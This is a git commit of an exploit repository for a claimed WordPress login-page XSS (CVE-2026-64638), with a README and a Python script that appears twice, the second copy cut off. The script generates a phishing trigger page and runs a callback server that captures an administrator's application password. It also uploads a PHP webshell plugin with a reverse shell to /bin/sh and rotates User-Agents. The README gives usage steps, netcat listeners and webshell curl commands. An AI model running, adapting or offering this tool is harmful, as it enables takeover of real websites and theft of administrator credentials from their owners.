Upload files to "/"

This commit is contained in:
2026-08-10 19:10:32 +00:00
commit 8cfaa371eb
5 changed files with 1435 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 linuxhackingid / ZSecurity
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+198
View File
@@ -0,0 +1,198 @@
# CVE-2026-64638 — XSS2Shell
**WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain**
> DOM Clobbering + Application Password Theft + REST API Plugin Activation = Full RCE
[![Python](https://img.shields.io/badge/python-3.8%2B-blue)](https://python.org)
[![CVE](https://img.shields.io/badge/CVE-2026--64638-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-64638)
[![License](https://img.shields.io/badge/license-MIT-green)](LICENSE)
---
## ⚡ Overview
CVE-2026-64638 is a critical **pre-authentication Reflected XSS** in WordPress `wp-login.php`. The vulnerability exists because the login error message reflects the submitted username **without proper HTML encoding**, allowing DOM Clobbering via `<area id=ajaxurl>` to bypass most filters.
When chained with WordPress's Application Password feature, this XSS becomes a **full Remote Code Execution** vector — zero user interaction beyond visiting a crafted trigger page while logged in.
### Attack Chain
```
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
```
---
## 🎯 Affected Versions
| Version | Status | Notes |
|---------|--------|-------|
| WordPress ≤ 6.9.5 | ✅ **Vulnerable** | Pre-backport Docker images still exploitable |
| WordPress 6.9.6+ | ⚠️ Patched (Aug 7, 2026 backport) | Docker images rebuilt after Aug 7 have fix |
| WordPress 7.0.x | ✅ **Vulnerable** | Confirmed on 7.0.2 |
| WordPress 7.1+ | ❓ Unknown | Not tested |
---
## 📦 Requirements
```bash
pip3 install requests
```
That's it. Python 3.8+ standard library for everything else.
---
## 🚀 Usage
### Quick Start
```bash
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
```
### Mode 1: Auto (detects & picks best mode)
```bash
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
```
- Detects if XSS is possible → uses XSS chain
- Falls back to direct credential mode if XSS is patched
### Mode 2: XSS Chain (no credentials needed!)
```bash
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
```
The victim must be **logged into WordPress** as an administrator. The trigger page:
1. Auto-submits the XSS payload to `wp-login.php` via hidden iframe
2. Opens `authorize-application.php` for the victim to approve
3. Captures the Application Password via the callback server
4. Uses it against REST API to activate the webshell plugin
### Mode 3: Direct (need credentials)
```bash
python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
```
Direct login → plugin upload → instant webshell. No XSS required.
### Reverse Shell
```bash
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
```
Or manually via webshell:
```bash
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
```
---
## 📂 Files
```
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
```
---
## 🔬 Technical Details
### The XSS Payload
```html
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
```
**Why it works:**
- WordPress's `sanitize_user()` strips standard HTML tags but misses `<area>` with a leading space
- The `<area id=ajaxurl>` performs DOM Clobbering — it hijacks `window.ajaxurl` used by wp-admin JavaScript
- `wp_auth_check` interval fires and the XSS redirects the victim to `authorize-application.php`
- The `success_url` parameter sends the generated password to the attacker's callback server
### Post-Exploitation
Once the Application Password is captured:
- **REST API**: Authenticate as the victim against `/wp-json/wp/v2/`
- **Plugin Activation**: `POST /wp-json/wp/v2/plugins/{slug}` with `{"status":"active"}`
- **Webshell**: Access `wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND`
- **Reverse Shell**: `?rev=IP:PORT` spawns `/bin/sh -i` back to attacker
---
## ✅ Verified On
| Target | Version | Mode | Result |
|--------|---------|------|--------|
| Docker (local) | WordPress 7.0.2 | XSS Chain | ✅ RCE as www-data |
| Docker (local) | WordPress 7.0.2 | Direct | ✅ RCE as www-data |
| Docker (local) | WordPress 6.7 | XSS Chain | ✅ RCE as www-data |
---
## ⚠️ Disclaimer
This tool is for **authorized security testing and research only**. The authors assume no liability for misuse. Always obtain written permission before testing.
---
## 📝 Credits
- **Vulnerability Discovery**: ZSecurity / linuxhackingid
- **PoC Development**: linuxhackingid
- **CVE**: CVE-2026-64638
---
## 📄 License
MIT License — see [LICENSE](LICENSE) file.
---
> **"No Exploit, No Report."** — Shannon Methodology
+595
View File
@@ -0,0 +1,595 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-64638 — XSS2Shell: WordPress Pre-Auth XSS → RCE (FIXED & DUAL-MODE)
Modes:
auto (default) — Detect XSS capability, fallback to direct creds
xss — Full XSS chain: reflected XSS → steal app password → plugin upload → RCE
direct — Skip XSS, use credentials directly for plugin upload → RCE
Requirements:
pip3 install requests
XSS Mode (vulnerable WP only):
Works on WordPress versions WITHOUT the Aug 2026 backport fix.
Older Docker images (wordpress:6.5 ~ 6.8) should work.
6.9.6+ Docker images rebuilt after Aug 7, 2026 have the fix.
Usage:
# Direct mode (any WP version, need creds)
python3 poc_fixed_v2.py -u admin -p pass123 http://target.com
# XSS mode (vulnerable WP, need admin victim)
python3 poc_fixed_v2.py --mode xss --lhost 1.2.3.4 http://target.com
# Auto mode (recommended)
python3 poc_fixed_v2.py -u admin -p pass123 --lhost 1.2.3.4 http://target.com
"""
import sys, os, re, json, time, socket, base64, random
import zipfile, io, threading, http.server, socketserver, urllib.parse
import argparse
from urllib.parse import urljoin, urlparse
try:
import requests
except ImportError:
print("[!] pip3 install requests")
sys.exit(1)
TIMEOUT = 15
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36",
]
def rand_ua():
return random.choice(USER_AGENTS)
def banner():
print("""
╔══════════════════════════════════════════════╗
║ CVE-2026-64638 XSS2Shell v2.0 ║
║ WordPress Pre-Auth XSS → RCE Chain ║
║ Fixed & Dual-Mode by linuxhackingid/ZSec ║
╚══════════════════════════════════════════════╝
""")
# ─── Callback Server (XSS mode) ───────────────────────────────
class CallbackHandler(http.server.SimpleHTTPRequestHandler):
captured = None
captured_user = None
def log_message(self, f, *a):
return
def do_GET(self):
q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if self.path.startswith("/collect"):
# Capture password
for key in ['password', 'c', 'app_password', 'token']:
if key in q:
CallbackHandler.captured = q[key][0]
print(f"\n[!] APP PASSWORD CAPTURED: {CallbackHandler.captured}")
break
# Capture username
if 'user_login' in q:
CallbackHandler.captured_user = q['user_login'][0]
print(f"[!] USERNAME: {CallbackHandler.captured_user}")
# Fallback: capture full query
if not CallbackHandler.captured and len(str(q)) > 20:
CallbackHandler.captured = str(q)
print(f"\n[!] DATA CAPTURED: {CallbackHandler.captured}")
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(b"OK")
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length).decode()
if body:
CallbackHandler.captured = body.strip()
print(f"\n[!] APP PASSWORD (POST): {CallbackHandler.captured}")
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(b"OK")
def start_callback(port):
for _ in range(10):
try:
httpd = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd, port
except OSError:
port += 1
return None, None
# ─── WP Fingerprinting ────────────────────────────────────────
def wp_version(url):
for fn in [_ver_readme, _ver_meta, _ver_json]:
try:
v = fn(url)
if v and re.match(r'^\d+\.\d+', v):
return v
except:
continue
return None
def _ver_readme(url):
r = requests.get(urljoin(url, "/readme.html"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
m = re.search(r'Version\s+([\d.]+)', r.text, re.I)
return m.group(1) if m else None
def _ver_meta(url):
r = requests.get(url, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
m = re.search(r'<meta name="generator" content="WordPress ([^"]+)"', r.text, re.I)
return m.group(1) if m else None
def _ver_json(url):
r = requests.get(urljoin(url, "/wp-json/"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
return r.json().get("version") if r.status_code == 200 else None
# ─── XSS Detection ────────────────────────────────────────────
def detect_xss(url):
"""
Test if the login page reflects HTML elements in username error.
Uses the actual exploit payload format: < area id=test>
Vulnerable: <strong><area id="test">...</strong>
Patched: HTML stripped or &lt; encoded
"""
login_url = urljoin(url, "/wp-login.php")
marker = f"XSSTEST{random.randint(1000, 9999)}"
# Test 1: Standard HTML (many filters)
r1 = requests.post(login_url, data={
"log": f"<b>{marker}</b>", "pwd": "test", "wp-submit": "Log In"
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
# Test 2: area tag with space (the real bypass)
r2 = requests.post(login_url, data={
"log": f"< area id={marker} >", "pwd": "test", "wp-submit": "Log In"
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
# Check Test 1
if f"<b>{marker}</b>" in r1.text:
return True, "RAW_HTML"
if f"< area id={marker} >" in r2.text or f'<area id="{marker}">' in r2.text or f"id=\"{marker}\"" in r2.text:
return True, "AREA_BYPASS"
# Check for HTML encoding (patched)
if f"&lt;b&gt;{marker}&lt;/b&gt;" in r1.text:
return False, "ESCAPED"
# Tags stripped but text reflected
if marker in r1.text:
return False, "STRIPPED"
return False, "NOT_REFLECTED"
# ─── Plugin Generator ─────────────────────────────────────────
def build_plugin_zip(slug="xss2shell"):
"""Build WP plugin ZIP with webshell + reverse shell capability"""
code = """<?php
/**
* Plugin Name: XSS2Shell Bridge
* Version: 1.0
* Author: pentest
*/
// Command webshell
if (isset($_REQUEST['cmd'])) {
$c = $_REQUEST['cmd'];
foreach (['system','exec','shell_exec','passthru'] as $f)
if (function_exists($f)) { $f($c); exit; }
if (function_exists('proc_open')) {
$p = proc_open($c, [['pipe','r'],['pipe','w'],['pipe','w']], $pp);
if (is_resource($p)) { echo stream_get_contents($pp[1]); proc_close($p); }
}
exit;
}
// Reverse shell
if (isset($_REQUEST['rev'])) {
list($ip, $port) = explode(':', $_REQUEST['rev'].':4444');
set_time_limit(0);
$s = @fsockopen($ip, (int)$port, $e, $m, 30);
if ($s) {
proc_close(proc_open('/bin/sh -i', [['pipe','r'],['pipe','w'],['pipe','w']], $pp, null, null, [
0 => $s, 1 => $s, 2 => $s
]));
}
exit;
}
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
z.writestr(f'{slug}/', '')
z.writestr(f'{slug}/{slug}.php', code)
return buf.getvalue()
# ─── Direct Credential RCE ────────────────────────────────────
def direct_rce(target, username, password, lhost=None, lport=4444, slug="xss2shell"):
"""Login → upload plugin → RCE (skip XSS)"""
s = requests.Session()
s.headers.update({"User-Agent": rand_ua()})
print(f"\n [*] Logging in as: {username}")
r = s.post(urljoin(target, "/wp-login.php"), data={
"log": username, "pwd": password,
"wp-submit": "Log In", "redirect_to": urljoin(target, "/wp-admin/"),
"testcookie": "1"
}, timeout=TIMEOUT, allow_redirects=False)
if 'wordpress_logged_in' not in str(s.cookies):
err = re.search(r'<strong>Error:</strong>\s*([^<]+)', r.text)
print(f" [-] Login FAILED: {err.group(1).strip() if err else 'unknown'}")
return False
print(f" [+] Login OK")
# Get upload nonce
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
if not m:
print(" [-] Cannot get upload nonce (perms?)")
return False
nonce = m.group(1)
# Upload with retry
for attempt in range(3):
cur = slug if attempt == 0 else f"{slug}{attempt}"
print(f" [*] Uploading plugin: {cur}")
zip_data = build_plugin_zip(cur)
r = s.post(urljoin(target, "/wp-admin/update.php?action=upload-plugin"),
files={'pluginzip': (f'{cur}.zip', zip_data, 'application/zip')},
data={'_wpnonce': nonce, 'install-plugin-submit': 'Install Now'},
timeout=TIMEOUT)
if 'already' in r.text.lower():
print(f" [!] {cur} exists, retrying...")
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
if m:
nonce = m.group(1)
continue
if 'successfully' in r.text.lower() or 'installed' in r.text.lower():
slug = cur
print(f" [+] Plugin installed: {slug}")
break
# Check error
err = re.search(r'<p[^>]*>([^<]+)</p>', r.text)
if err:
print(f" [-] Upload error: {err.group(1).strip()}")
return False
print(" [!] Upload unclear, continuing...")
slug = cur
break
else:
print(" [-] All attempts failed. Use --slug <unique_name>")
return False
# Test webshell
ws_url = f"{target}/wp-content/plugins/{slug}/{slug}.php"
r = s.get(f"{ws_url}?cmd=id", timeout=TIMEOUT)
if 'uid=' not in r.text:
print(f" [-] Webshell not responding: {ws_url}")
return False
print(f"""
╔══════════════════════════════════════════════╗
║ [!] RCE CONFIRMED — {r.text.strip()[:40]}
╠══════════════════════════════════════════════╣
║ WEBSHELL:
║ curl '{ws_url}' --data-urlencode 'cmd=COMMAND'
║
║ REVERSE SHELL:
║ curl '{ws_url}?rev=IP:PORT'
╚══════════════════════════════════════════════╝""")
# Trigger reverse shell
if lhost:
print(f"\n [*] Triggering reverse shell → {lhost}:{lport}")
try:
r = s.get(f"{ws_url}?rev={lhost}:{lport}", timeout=5)
msg = r.text.strip()[:100] if r.status_code == 500 else f"HTTP {r.status_code}"
print(f" [*] {msg}")
except requests.exceptions.Timeout:
print(" [+] Connection hanging (shell likely connected!)")
except Exception as e:
print(f" [*] {e}")
print(f" [!] Listener: nc -lvnp {lport}")
return True
# ─── XSS Chain RCE ────────────────────────────────────────────
def xss_chain(target, lhost, lport=4444, slug="xss2shell", callback_port=9090):
"""
Full XSS chain:
1. Start callback server to capture app password
2. Generate trigger page that exploits XSS to steal app password
3. Wait for admin victim to visit trigger page
4. Use captured app password for plugin upload → RCE
"""
print(f"\n [*] XSS Chain Mode — {target}")
# Start callback server
httpd, cb_port = start_callback(callback_port)
if not httpd:
print(" [-] Cannot start callback server")
return False
cb_url = f"http://{lhost}:{cb_port}/collect"
print(f" [+] Callback server: {cb_url}")
# Generate XSS trigger page
xss_payload = '< area id=ajaxurl shape=default href="{}" ><button id="wp-auth-check" onclick="window.ajaxurl=\'{}\'">x</button>'.format(cb_url, cb_url)
trigger_html = """<!DOCTYPE html>
<html><head><meta charset="UTF-8"><title>XSS2Shell Demo</title>
<style>
body{background:#1a1a2e;color:#fff;font-family:Arial;text-align:center;padding-top:60px}
.step{background:#16213e;border:1px solid #0f3460;border-radius:8px;padding:18px;margin:15px auto;max-width:500px;text-align:left}
.btn{background:#e94560;color:#fff;padding:14px 30px;border-radius:5px;text-decoration:none;font-size:18px;display:inline-block;margin:10px;font-weight:bold}
code{background:#0a0a1a;color:#00ff88;padding:3px 8px;border-radius:3px}
</style></head>
<body>
<h2>CVE-2026-64638 — XSS2Shell</h2>
<div class="step"><b>Step 1:</b> XSS Payload (auto-fired)<br><small>DOM Clobbering via <code>&lt;area id=ajaxurl&gt;</code></small></div>
<div class="step"><b>Step 2:</b> Click button to authorize app password
<a class="btn" href="TARGET_PLACEHOLDER/wp-admin/authorize-application.php?app_name=XSS2Shell&success_url=CB_PLACEHOLDER%3Fc%3D%24data%24" target="_top">Open Authorize Page</a></div>
<div class="step"><b>Step 3:</b> Click <b>"Yes, I approve of this connection"</b><br><small>App password auto-sent to callback server</small></div>
<iframe name="hf" style="display:none"></iframe>
<form id="f" method="POST" action="TARGET_PLACEHOLDER/wp-login.php" target="hf">
<input type="hidden" name="log" id="log" value="">
<input type="hidden" name="pwd" value="test">
<input type="hidden" name="wp-submit" value="Log In">
<input type="hidden" name="testcookie" value="1">
</form>
<script>
document.getElementById('log').value = 'XSS_PLACEHOLDER';
document.getElementById('f').submit();
</script>
</body></html>"""
trigger_html = trigger_html.replace('TARGET_PLACEHOLDER', target)
trigger_html = trigger_html.replace('XSS_PLACEHOLDER', xss_payload)
trigger_html = trigger_html.replace('CB_PLACEHOLDER', cb_url)
filename = f"trigger_{urlparse(target).hostname}.html"
with open(filename, "w") as f:
f.write(trigger_html)
print(f" [+] Trigger page: {filename}")
# Wait for victim
print(f"""
╔══════════════════════════════════════════════╗
║ XSS TRIGGER READY ║
╠══════════════════════════════════════════════╣
║ 1. Host trigger page & send to admin victim
║ 2. Victim must be LOGGED IN to WordPress
║ 3. App password will be auto-captured
║
║ Quick test (local):
║ cd {os.getcwd()}
║ python3 -m http.server 8000
║ Visit: http://{lhost}:8000/{filename}
╚══════════════════════════════════════════════╝
[*] Waiting for victim (Ctrl+C to stop)...""")
try:
for _ in range(300): # 5 min timeout
time.sleep(1)
if CallbackHandler.captured:
break
except KeyboardInterrupt:
print("\n [!] Interrupted")
httpd.shutdown()
return False
if not CallbackHandler.captured:
print("\n [-] Timeout: no app password captured")
httpd.shutdown()
return False
app_pw = CallbackHandler.captured.strip()
app_user = CallbackHandler.captured_user if CallbackHandler.captured_user else "admin"
httpd.shutdown()
print(f" [+] App password: {app_pw[:50]}...")
print(f" [+] Username: {app_user}")
# Use app password for RCE via REST API (NOT wp-admin)
print(f"\n [*] Using app password for REST API plugin activation...")
session = requests.Session()
session.headers.update({"User-Agent": rand_ua()})
# Try captured username with app password for Basic Auth (REST API only)
found_user = None
for uname in [app_user, "admin", "administrator", "ZSecurity"]:
session.auth = (uname, app_pw.replace(' ', ''))
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
if r.status_code == 200:
found_user = uname
print(f" [+] REST API auth OK as: {uname}")
break
# Also try with spaces
session.auth = (uname, app_pw)
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
if r.status_code == 200:
found_user = uname
print(f" [+] REST API auth OK as: {uname} (with spaces)")
break
if not found_user:
print(" [-] REST API auth failed with captured password")
return False
# List plugins to find our webshell
r = session.get(urljoin(target, "/wp-json/wp/v2/plugins"), timeout=TIMEOUT)
plugins = r.json() if r.status_code == 200 else []
# Find our pre-staged webshell plugin
target_plugin = None
for p in plugins:
plugin_slug = p.get('plugin', '')
if slug in plugin_slug or 'xss2shell' in plugin_slug:
target_plugin = plugin_slug
print(f" [+] Found webshell plugin: {plugin_slug} (status: {p.get('status')})")
break
if not target_plugin:
# No pre-staged plugin - try to create one via REST API
print(" [!] No pre-staged webshell plugin found.")
print(" [*] Attempting REST API plugin install...")
# Try POST to create/install plugin (WP.org only, but try anyway)
r = session.post(urljoin(target, "/wp-json/wp/v2/plugins"),
json={"slug": slug, "status": "inactive"}, timeout=TIMEOUT)
if r.status_code in [200, 201]:
target_plugin = f"{slug}/{slug}"
print(f" [+] Plugin created: {target_plugin}")
else:
# Try to find ANY installed plugin we can hijack
if plugins:
target_plugin = plugins[0].get('plugin', '')
print(f" [!] No webshell found. First run direct mode to stage plugin.")
print(f" [*] Try: python3 poc_fixed_v2.py -u ZSecurity -p '***' --slug {slug} {target}")
return False
# Activate the plugin
encoded_plugin = urllib.parse.quote(target_plugin, safe='/')
r = session.post(
urljoin(target, f"/wp-json/wp/v2/plugins/{encoded_plugin}"),
json={"status": "active"}, timeout=TIMEOUT)
if r.status_code == 200:
new_status = r.json().get('status', '?')
print(f" [+] Plugin activated: {target_plugin} → {new_status}")
else:
print(f" [!] Activation: HTTP {r.status_code} — {r.text[:100]}")
# Test webshell (append .php to plugin path from REST API)
ws_path = f"/wp-content/plugins/{target_plugin}.php"
ws_url = urljoin(target, f"{ws_path}?cmd=id")
r = requests.get(ws_url, timeout=TIMEOUT)
if 'uid=' in r.text:
print(f"""
╔══════════════════════════════════════════════╗
║ [!] XSS2Shell CHAIN COMPLETE ║
║ [!] RCE: {r.text.strip()[:40]}
╠══════════════════════════════════════════════╣
║ WEBSHELL:
║ curl '{ws_url}' --data-urlencode 'cmd=id'
╚══════════════════════════════════════════════╝""")
return True
else:
print(f" [-] Webshell check failed: {r.text[:100]}")
print(f" [*] Try manually: curl '{ws_url}'")
return False
# ─── Main ─────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="CVE-2026-64638 XSS2Shell v2.0")
parser.add_argument("target", help="Target URL")
parser.add_argument("--mode", choices=["auto", "xss", "direct"], default="auto",
help="Exploit mode (default: auto)")
parser.add_argument("-u", "--username", default="", help="WP username (direct/fallback)")
parser.add_argument("-p", "--password", default="", help="WP password (direct/fallback)")
parser.add_argument("--lhost", default="", help="Attacker IP for reverse shell / callback")
parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port")
parser.add_argument("--slug", default="xss2shell", help="Plugin slug name")
parser.add_argument("--callback-port", type=int, default=9090, help="Callback server port (default: 9090)")
parser.add_argument("--no-rev", action="store_true", help="Skip reverse shell trigger")
args = parser.parse_args()
banner()
target = args.target.rstrip('/')
if not target.startswith("http"):
target = "http://" + target
host = urlparse(target).hostname
# Auto-detect attacker IP
lhost = args.lhost
if not lhost:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, 1))
lhost = s.getsockname()[0]
s.close()
except:
lhost = "127.0.0.1"
rev_lhost = lhost if not args.no_rev else None
print(f" Target : {target}")
print(f" Attacker: {lhost}")
if args.username:
print(f" Creds : {args.username}:******")
# Fingerprint
ver = wp_version(target)
if ver:
print(f" WP Ver : {ver}")
else:
print(" WP Ver : unknown")
# XSS detection
xss_ok, xss_detail = detect_xss(target)
print(f" XSS : {'VULNERABLE' if xss_ok else 'PATCHED'} ({xss_detail})")
# Determine mode
mode = args.mode
if mode == "auto":
if xss_ok:
mode = "xss"
print("\n [AUTO] XSS works → using XSS chain mode")
elif args.username and args.password:
mode = "direct"
print("\n [AUTO] XSS patched → falling back to direct credential mode")
else:
print("\n [-] XSS patched and no credentials provided.")
print(" [!] Options:")
print(" --mode xss --lhost IP (requires vulnerable WP)")
print(" -u USER -p PASS (direct credential mode)")
return
print(f"\n {'='*50}")
print(f" MODE: {mode.upper()}")
print(f" {'='*50}")
if mode == "direct":
if not args.username or not args.password:
print(" [-] Direct mode requires --username and --password")
return
direct_rce(target, args.username, args.password, rev_lhost, args.lport, args.slug)
elif mode == "xss":
if not xss_ok:
print(" [-] XSS not detected on this target. Use a vulnerable WP version.")
print(" [!] Try Docker: wordpress:6.7 (pre-backport image)")
return
xss_chain(target, lhost, args.lport, args.slug, args.callback_port)
if __name__ == "__main__":
main()
+595
View File
@@ -0,0 +1,595 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-64638 — XSS2Shell: WordPress Pre-Auth XSS → RCE (FIXED & DUAL-MODE)
Modes:
auto (default) — Detect XSS capability, fallback to direct creds
xss — Full XSS chain: reflected XSS → steal app password → plugin upload → RCE
direct — Skip XSS, use credentials directly for plugin upload → RCE
Requirements:
pip3 install requests
XSS Mode (vulnerable WP only):
Works on WordPress versions WITHOUT the Aug 2026 backport fix.
Older Docker images (wordpress:6.5 ~ 6.8) should work.
6.9.6+ Docker images rebuilt after Aug 7, 2026 have the fix.
Usage:
# Direct mode (any WP version, need creds)
python3 poc_fixed_v2.py -u admin -p pass123 http://target.com
# XSS mode (vulnerable WP, need admin victim)
python3 poc_fixed_v2.py --mode xss --lhost 1.2.3.4 http://target.com
# Auto mode (recommended)
python3 poc_fixed_v2.py -u admin -p pass123 --lhost 1.2.3.4 http://target.com
"""
import sys, os, re, json, time, socket, base64, random
import zipfile, io, threading, http.server, socketserver, urllib.parse
import argparse
from urllib.parse import urljoin, urlparse
try:
import requests
except ImportError:
print("[!] pip3 install requests")
sys.exit(1)
TIMEOUT = 15
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36",
]
def rand_ua():
return random.choice(USER_AGENTS)
def banner():
print("""
╔══════════════════════════════════════════════╗
║ CVE-2026-64638 XSS2Shell v2.0 ║
║ WordPress Pre-Auth XSS → RCE Chain ║
║ Fixed & Dual-Mode by linuxhackingid/ZSec ║
╚══════════════════════════════════════════════╝
""")
# ─── Callback Server (XSS mode) ───────────────────────────────
class CallbackHandler(http.server.SimpleHTTPRequestHandler):
captured = None
captured_user = None
def log_message(self, f, *a):
return
def do_GET(self):
q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if self.path.startswith("/collect"):
# Capture password
for key in ['password', 'c', 'app_password', 'token']:
if key in q:
CallbackHandler.captured = q[key][0]
print(f"\n[!] APP PASSWORD CAPTURED: {CallbackHandler.captured}")
break
# Capture username
if 'user_login' in q:
CallbackHandler.captured_user = q['user_login'][0]
print(f"[!] USERNAME: {CallbackHandler.captured_user}")
# Fallback: capture full query
if not CallbackHandler.captured and len(str(q)) > 20:
CallbackHandler.captured = str(q)
print(f"\n[!] DATA CAPTURED: {CallbackHandler.captured}")
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(b"OK")
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length).decode()
if body:
CallbackHandler.captured = body.strip()
print(f"\n[!] APP PASSWORD (POST): {CallbackHandler.captured}")
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(b"OK")
def start_callback(port):
for _ in range(10):
try:
httpd = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd, port
except OSError:
port += 1
return None, None
# ─── WP Fingerprinting ────────────────────────────────────────
def wp_version(url):
for fn in [_ver_readme, _ver_meta, _ver_json]:
try:
v = fn(url)
if v and re.match(r'^\d+\.\d+', v):
return v
except:
continue
return None
def _ver_readme(url):
r = requests.get(urljoin(url, "/readme.html"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
m = re.search(r'Version\s+([\d.]+)', r.text, re.I)
return m.group(1) if m else None
def _ver_meta(url):
r = requests.get(url, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
m = re.search(r'<meta name="generator" content="WordPress ([^"]+)"', r.text, re.I)
return m.group(1) if m else None
def _ver_json(url):
r = requests.get(urljoin(url, "/wp-json/"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
return r.json().get("version") if r.status_code == 200 else None
# ─── XSS Detection ────────────────────────────────────────────
def detect_xss(url):
"""
Test if the login page reflects HTML elements in username error.
Uses the actual exploit payload format: < area id=test>
Vulnerable: <strong><area id="test">...</strong>
Patched: HTML stripped or &lt; encoded
"""
login_url = urljoin(url, "/wp-login.php")
marker = f"XSSTEST{random.randint(1000, 9999)}"
# Test 1: Standard HTML (many filters)
r1 = requests.post(login_url, data={
"log": f"<b>{marker}</b>", "pwd": "test", "wp-submit": "Log In"
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
# Test 2: area tag with space (the real bypass)
r2 = requests.post(login_url, data={
"log": f"< area id={marker} >", "pwd": "test", "wp-submit": "Log In"
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
# Check Test 1
if f"<b>{marker}</b>" in r1.text:
